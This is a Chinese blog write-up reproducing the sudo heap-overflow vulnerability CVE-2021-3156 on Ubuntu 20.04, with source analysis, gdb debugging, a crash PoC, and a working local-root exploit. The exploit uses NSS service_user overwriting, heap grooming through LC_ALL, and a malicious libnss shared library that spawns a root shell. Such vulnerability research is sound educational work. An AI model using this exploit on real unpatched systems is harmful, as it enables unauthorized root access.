CVE-2021-3156
CVE-2021-3156 sudo 提权漏洞,复现过程总结
复现环境
- 系统:Ubuntu 20.04
- sudo: sudo-1.8.31
源码下载:https://mirrors.ustc.edu.cn/ubuntu/pool/main/s/sudo/sudo_1.8.31.orig.tar.gz
漏洞分析
可以参照一下官方的修复方式:
https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
找到 1.8.31 版本源码的漏洞位置如下:
//plugins/sudoers/sudoers.c //set_cmnd() ...... 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { ...... 845 846 /* set user_args */ 847 if (NewArgc > 1) { 848 char *to, *from, **av; 849 size_t size, n; 850 851 /* Alloc and build up user_args. */ 852 for (size = 0, av = NewArgv + 1; *av; av++) 853 size += strlen(*av) + 1; 854 if (size == 0 || (user_args = malloc(size)) == NULL) { 855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856 debug_return_int(-1); 857 } 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 859 /* 860 * When running a command via a shell, the sudo front-end 861 * escapes potential meta chars. We unescape non-spaces 862 * for sudoers matching and logging purposes. 863 */ 864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 865 while (*from) { 866 if (from[0] == '\\' && !isspace((unsigned char)from[1])) 867 from++; 868 *to++ = *from++; 869 } 870 *to++ = ' '; 871 } 872 *--to = '\0'; 873 } else ......
在 set_cmnd 函数,看到 866 行处,以 \
开头下一个字符不是空格,那么就认为是转义字符,from++
跳过字符 \
,但是没有考虑到下一个字符是 \0
的情况,如果下一个字符是 \0
,那么 *to = *from++
就写入 \0
字符,下一次循环条件判断成立,则继续往 user_args 里面写入数据,而 user_args 是在 852-854 行处使用 malloc 分配的一个堆块,这就可以造成一个堆溢出的漏洞
最后一个参数后面就是环境变量的位置,所以只要最后一个参数以一个 \
结尾,那么就可以通过控制环境变量,堆溢出写入任意数据
同时看到 819 行处,触发漏洞需要设置 MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,858 行处,要求设置 MODE_SHELL
或 MODE_LOGIN_SHELL
想要触发漏洞,还要先看看下面这段代码:
//src/parse_args.c //parse_args() ...... 571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 572 char **av, *cmnd = NULL; 573 int ac = 1; 574 575 if (argc != 0) { 576 /* shell -c "command" */ 577 char *src, *dst; 578 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + 579 strlen(argv[argc - 1]) + 1; 580 581 cmnd = dst = reallocarray(NULL, cmnd_size, 2); 582 if (cmnd == NULL) 583 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 584 if (!gc_add(GC_PTR, cmnd)) 585 exit(1); 586 587 for (av = argv; *av != NULL; av++) { 588 for (src = *av; *src != '\0'; src++) { 589 /* quote potential meta characters */ 590 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') 591 *dst++ = '\\'; 592 *dst++ = *src; 593 } 594 *dst++ = ' '; 595 } 596 if (cmnd != dst) 597 dst--; /* replace last space with a NUL */ 598 *dst = '\0'; 599 600 ac += 2; /* -c cmnd */ 601 } ......
在处理命令行参数的时候,设置了 MODE_RUN
和 MODE_SHELL
的情况下,会对命令行参数进行重写,把所有元字符包括 \
都转义了,也就是单个反斜杠变成了两个反斜杠,导致后面的漏洞无法触发
总结一下:
MODE_RUN
和MODE_SHELL
不能都设置,因为在 sudo 程序的parse_args
函数里会对反斜杠进行转义,导致漏洞无法触发- 触发漏洞需要设置
MODE_RUN
,MODE_EDIT
,MODE_CHECK
中的一个,同时要设置MODE_SHELL
或MODE_LOGIN_SHELL
那么 MODE_RUN
是不可以设置的,因为一旦设置 MODE_RUN
,触发漏洞条件需要 MODE_SHELL
,而 MODE_RUN
和 MODE_SHELL
同时存在会导致 parse_args
对反斜杠进行转义,导致漏洞无法触发
那么就要设置 MODE_EDIT
或者 MODE_CHECK
,同时不能设置 MODE_RUN
设置 MODE_EDIT
使用 -e
,MODE_LOGIN_SHELL
使用 -i
,MODE_SHELL
使用 -s
,对应源码如下:
//src/parse_args.c ...... 358 case 'e': 359 if (mode && mode != MODE_EDIT) 360 usage_excl(1); 361 mode = MODE_EDIT; 362 sudo_settings[ARG_SUDOEDIT].value = "true"; 363 valid_flags = MODE_NONINTERACTIVE; 364 break; ...... 402 case 'i': 403 sudo_settings[ARG_LOGIN_SHELL].value = "true"; 404 SET(flags, MODE_LOGIN_SHELL); 405 break; ...... 460 case 's': 461 sudo_settings[ARG_USER_SHELL].value = "true"; 462 SET(flags, MODE_SHELL); 463 break; ......
MODE_CHECK
在这里设置,使用 -l
//src/parse_args.c ...... 416 case 'l': 417 if (mode) { 418 if (mode == MODE_LIST) 419 SET(flags, MODE_LONG_LIST); 420 else 421 usage_excl(1); 422 } 423 mode = MODE_LIST; 424 valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST; 425 break; ...... 518 if (argc > 0 && mode == MODE_LIST) 519 mode = MODE_CHECK; ......
那么有以下几种选择:
-s -e
-i -e
-s -l
-i -l
但是,-e
和 -l
,都会导致 valid_flags
的改变,最后在 532 行处,导致程序退出,所以上面的 4 种方式都无效
//src/parse_args.c ...... 127 #define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) ...... 249 int valid_flags = DEFAULT_VALID_FLAGS; ...... 532 if ((flags & valid_flags) != flags) 533 usage(1); ......
查看源码还发现一处地方:
//src/parse_args.c ...... 268 if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 269 progname = "sudoedit"; 270 mode = MODE_EDIT; 271 sudo_settings[ARG_SUDOEDIT].value = "true"; 272 } ......
当程序的名字是 sudoedit 时,会设置 MODE_EDIT
,而不会去修改 valid_flags
,那么就可以达成漏洞利用的条件,这就是 poc 和目前已公开的 exp 都使用 sudoedit 而不适用 sudo 的原因
那么只需要用 sudoedit -s xxx
,就可以设置 MODE_EDIT
和 MODE_SHELL
,而不设置 MODE_RUN
了
调试分析
调试前准备
使用源码编译的程序进行调试,编译后创建一个链接 sudoedit 到 sudo,或者改名 sudo 为 sudoedit(ubuntu 中的 sudoedit 其实是 sudo 的一个软链接),权限改为 root,并加上 sid 权限
poc
为了更好操控 sudo 程序的环境变量,采用 execve 函数来执行 sudoedit,这里写一个 poc.c:
//poc.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MAX_ENVP 0x1000 char *envp[MAX_ENVP]; int main(int argc, const char * const argv[]) { char a1[65536]; memset(a1, 'A', 65535); a1[65535] = '\x00'; char *s_argv[] = { //命令行参数 "sudoedit", "-s", "\\", a1, NULL }; int envp_pos = 0; envp[envp_pos++] = NULL; //环境变量 execve("/path/to/sudoedit", s_argv, envp); return 0; }
调试开始
使用 sudo gdb ./poc
,执行 catch exec
跟踪 execve,r
命令运行
setlocale 是 sudo 程序开头调用的函数,在这下断点,断下后 finish
即可进入 sudo 的 main 函数
要注意的是,进入 main 函数后,最好删除 setlocale 的断点,以免后续的调用影响跟踪调试
使用 b 213
下断点在 213 行处:
...... 212 /* Load plugins. */ 213 if (!sudo_load_plugins(&policy_plugin, &io_plugins)) 214 sudo_fatalx(U_("fatal error, unable to load plugins")); ......
n
命令步过,加载完 sudoers.so 库后,使用命令 b set_cmnd
在 set_cmnd 函数下断点,c
继续运行,来到断点处,并在 854 行下断点,继续运行
...... 854 if (size == 0 || (user_args = malloc(size)) == NULL) { 855 sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); 856 debug_return_int(-1); 857 } ......
user_args 的大小为 0x10002 即 65538 ("\\" + "A" * 65535 + 2
),并记录 user_args 的 chunk 地址为 0x55555558faa0
跟踪来到漏洞点处:
来到 870 处:
此时可以发现没有溢出,因为此时只复制了反斜杠字符后面的 \0
,以及后面的 65535 个 A,本身 chunk 的大小是足够的
但是,for 循环继续运行,"A" * 65535
又开始继续往后覆盖,此时溢出就出现了
可以看到,溢出把下一个 chunk 的 size 字段都改了,后面 malloc 的时候触发 abort,导致程序异常退出了
漏洞利用
此时可以知道几点:
- user_args 的大小可以由命令行参数控制
- 命令行参数中出现单个反斜杠字符结尾,则会导致堆溢出
- 若单个反斜杠结尾出现在最后一个命令行参数,那么溢出的内容就是紧接着的环境变量,完全可控
- 单个反斜杠结尾的命令行参数或者环境变量都能往 chunk 写入
\0
NSS(Name Service Switch)
目前公开的 exp 大都利用了 NSS(Name Service Switch)机制,这里简述 NSS 的机制
首先是根据 /etc/nsswitch.conf
内容(例如下面这个),初始化链式的 name_database_entry 结构体
# /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc-reference' and `info' packages installed, try: # `info libc "Name Service Switch"' for information about this file. passwd: files systemd group: files systemd shadow: files gshadow: files hosts: files dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis
name_database_entry 结构体定义如下:
typedef struct name_database_entry { /* And the link to the next entry. */ struct name_database_entry *next; /* List of service to be used. */ service_user *service; /* Name of the database. */ char name[0]; } name_database_entry;
name
字段就是 group
,shadow
这些字符串,然后以 next
字段链接起来形成链表
后面的 files systemd
是 service_user 结构体的 name
字段,定义如下:
typedef struct service_user { /* And the link to the next entry. */ struct service_user *next; /* Action according to result. */ lookup_actions actions[5]; /* Link to the underlying library object. */ service_library *library; /* Collection of known functions. */ void *known; /* Name of the service (`files', `dns', `nis', ...). */ char name[0]; } service_user;
需要使用服务的时候,如果库未加载,则会调用 nss_load_library
函数加载动态链接库
在 set_cmnd 函数结束后,sudoers_lookup 会调用 nss_load_library
函数,源码如下:
//glibc/nss/nsswitch.c static int nss_load_library (service_user *ni) { if (ni->library == NULL) { /* This service has not yet been used. Fetch the service library for it, creating a new one if need be. If there is no service table from the file, this static variable holds the head of the service_library list made from the default configuration. */ static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); if (ni->library == NULL) return -1; } if (ni->library->lib_handle == NULL) { /* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1); int saved_errno = errno; char shlib_name[shlen]; /* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); if (ni->library->lib_handle == NULL) { /* Failed to load the library. */ ni->library->lib_handle = (void *) -1l; __set_errno (saved_errno); } # ifdef USE_NSCD else if (is_nscd) { /* Call the init function when nscd is used. */ size_t initlen = (5 + strlen (ni->name) + strlen ("_init") + 1); char init_name[initlen]; /* Construct the init function name. */ __stpcpy (__stpcpy (__stpcpy (init_name, "_nss_"), ni->name), "_init"); /* Find the optional init function. */ void (*ifct) (void (*) (size_t, struct traced_file *)) = __libc_dlsym (ni->library->lib_handle, init_name); if (ifct != NULL) { void (*cb) (size_t, struct traced_file *) = nscd_init_cb; # ifdef PTR_DEMANGLE PTR_DEMANGLE (cb); # endif ifct (cb); } } # endif } return 0; }
最主要的是,当 ni->library->lib_handle == NULL
成立后,会执行 dlopen
加载动态链接库:
...... char shlib_name[shlen]; /* Construct shared object name. */ __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision); ni->library->lib_handle = __libc_dlopen (shlib_name); ......
前面有 ni->library == NULL
时执行 nss_new_service
返回的 library->lib_handle
就是 NULL
且 service_user 结构体刚好在堆上,只要溢出覆盖一个 service_user 结构体,伪造 name
字段为 X/X
,library
字段为 NULL,那么后续调用 nss_load_library
时就会调用 __libc_dlopen("libnss_X/X.so.xx")
加载自己写的动态链接库
只要动态链接库写个 constructor 函数,执行 shell,即可提权
这里有一点,大部分文章都没提到(也可能是默认大家都知道了):为什么一定要覆盖 name
成 X/X
的形式,而不是 X
的形式?
这可以从 dlopen 的 man 手册中找到答案:
...... If filename is NULL, then the returned handle is for the main program. If filename contains a slash ("/"), then it is interpreted as a (relative or absolute) pathname. Otherwise, the dynamic linker searches for the object as follows (see ld.so(8) for further details): ......
大概意思是,filename 参数只有存在 /
的时候,才会有可能被当作相对路径,没有 /
的时候,会去 PATH 等环境变量指向的地方找对应的库文件,为了方便,使用相对路径的方式,所以使用 X/X
的形式
service_user 结构体分布
gdb 上使用 search -s systemd
可以找到 service_user 等结构体
可以看到 passwd 的 name_database_entry,的 service
字段指向了一条链表,链表上是 files
-> systemd
的 service_user 结构体
那么只要覆盖这两个 service_user 中的一个就可以了,覆盖后面的 service_user 可能会同时把前面的 service_user 也覆盖了,破坏了链表就不行了,所以选择覆盖前面的那个 service_user,同时不能把前面的 name_database_entry 结构体也破坏了
实际情况下,在漏洞点之前会先后从堆上分配下面这些结构体:
passwd(name_database_entry) files(service_user) systemd(service_user) group(name_database_entry) files(service_user) systemd(service_user) ...
只要 user_args 位于 name_database_entry 和 service_user 之间,即可覆盖 service_user 而不会破坏 name_database_entry 了
堆布局
通过调试发现,在我的复现环境下,一般情况下 user_args 都位于 service_user 之后,根据目前公开的方式,利用程序开头的 setlocale 函数,对 LC_MESSAGES
,LC_ALL
等环境变量,都会有多次的堆块分配与释放,影响堆块布局的情况,使得 user_args 分配时,得到的刚好是 setlocale 中 free 进 tcache 的 chunk,因为 setlocale 函数的调用在 service_user 等结构体分配之前,那么 user_args 就能分布在 service_user 结构体之前
比如,环境变量使用 LC_ALL=C.UTF-8@AAAA
,@
字符后面的 AAAA
将会在 setlocale 里分配 chunk 进行存储,之后会释放
调试
经过多次测试,exp 如下,下面使用这个 exp 进行一下调试,说明为什么要这么写:
//exp.c #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define MAX_ENVP 0x1000 #define LC_ENV1 "LC_ALL=C.UTF-8@" #define LC_ENV2 "LC_CTYPE=C.UTF-8@" char *envp[MAX_ENVP]; int main(int argc, const char * const argv[]) { char paddingA[0x200] = { 0 }; memset(paddingA,'A',0x190-2); paddingA[0x190-2] = '\\'; char *s_argv[] = { "sudoedit", "-s", paddingA, NULL }; int envp_pos = 0; for (int i = 0; i < 0xb10-0x190+1; i++){ envp[envp_pos++] = "\\"; } for (int i = 0; i < 0x30; i++) { envp[envp_pos++] = "\\"; } envp[envp_pos++] = "x/i4oyu"; //name envp[envp_pos++] = "AAA"; char *LC1 = calloc(0x1000, 1); strcpy(LC1, LC_ENV1); memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0); /* char *LC2 = calloc(0x1000, 1); strcpy(LC2, LC_ENV2); memset(LC2 + sizeof(LC_ENV2) - 1, 'Y', 0x90); */ envp[envp_pos++] = LC1; //envp[envp_pos++] = LC2; envp[envp_pos++] = 0; execve("/path/to/sudoedit", s_argv, envp); //execve("/usr/bin/sudoedit", s_argv, envp); return 0; }
首先看到这里
...... char *LC1 = calloc(0x1000, 1); strcpy(LC1, LC_ENV1); memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0); ......
调试来到 user_args 分配前,查看 heap 情况,存储 0xc0 个 X
的 chunk 在这里:
同时也可以看到,这个 chunk 的大小并不是 0xc0,而是比 0xc0 要大得多的 0x1a0,和参考的一些文章的说法不太一样
同时可以看到这个 0x1a0 的 chunk 位于 name_database_entry 和 service_user 之间:
注意:实际上 set_cmnd
调用后,会从 group 的 name_database_entry 开始查找 service_user 结构体进行 nss_load_library
的调用,所以图中使用的是 group 的链
exp 这里的 0x190-2 就是为了控制命令行参数的长度,使得 user_args 的分配调用 malloc(0x190)
从而分配到上面提到的 chunk:
...... char paddingA[0x200]; memset(paddingA,'A',0x190-2); paddingA[0x190-2] = '\\'; ......
溢出点到要覆盖 service_user 的偏移为 +0xb10:
命令行参数本身有 0x190-1 长的数据复制进了 to,那么只需要连续 0xb10 - 0x190 + 1
多的反斜杠即可连续写入 \0
,直到目标 service_user 结构体,再继续覆写 0x30 长度的数据,即可到达 name
字段,这就是对下面这部分代码的解释:
...... int envp_pos = 0; for (int i = 0; i < 0xb10-0x190+1; i++){ envp[envp_pos++] = "\\"; } for (int i = 0; i < 0x30; i++) { envp[envp_pos++] = "\\"; } envp[envp_pos++] = "x/i4oyu"; //name envp[envp_pos++] = "AAA"; ......
这里覆盖 name
为 x/xi4oyu
,那么需要编译一个动态链接库 libnss_x/xi4oyu.so.2
,代码如下:
//mkdir libnss_x && gcc -fPIC -shared -o 'libnss_x/i4oyu.so.2' xi4oyu.c #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void __attribute__ ((constructor)) _init(void); static void _init(void) { printf("[!!!] pwn!\n"); setuid(0); seteuid(0); setgid(0); setegid(0); static char *a_argv[] = { "sh", NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execv("/bin/sh", a_argv); }
利用成功!
小结
堆布局的方式比较复杂,其中这一句:
memset(LC1 + sizeof(LC_ENV1) - 1, 'X', 0xc0);
至于 0xc0 这个值是怎么来的?本人是 从 0 开始间隔 0x10 递增,观察堆的情况,一步步地测出来的
目前公开的文章也并没有做一个很好的解释,具体怎么回事,还是得跟踪调试 setlocale 的每一次 malloc 和 free 的调用了,写得比较好的 exp 是 blasty 的 exp,其中提供了一个爆破脚本,就是为了测出这个合适的值
总结
这是我接触的第一个 CVE,漏洞原理相对还是比较简单的,从中也学到了 NSS 这个十分有意思的机制
最近在学 v8 的漏洞利用,下一次复现的就是 v8 的 CVE 了,加油!
参考
- https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- https://ama2in9.top/2021/02/04/cve-2021-3156/
- https://mp.weixin.qq.com/s/zyeCBsLNRVdg2ckFnOXENg
- https://www.anquanke.com/post/id/231077
- https://www.jianshu.com/p/18f36f1342b3
- https://github.com/sudo-project/sudo/commit/1f8638577d0c80a4ff864a2aad80a0d95488e9a8
- https://github.com/blasty/CVE-2021-3156
来做第一个留言的人吧!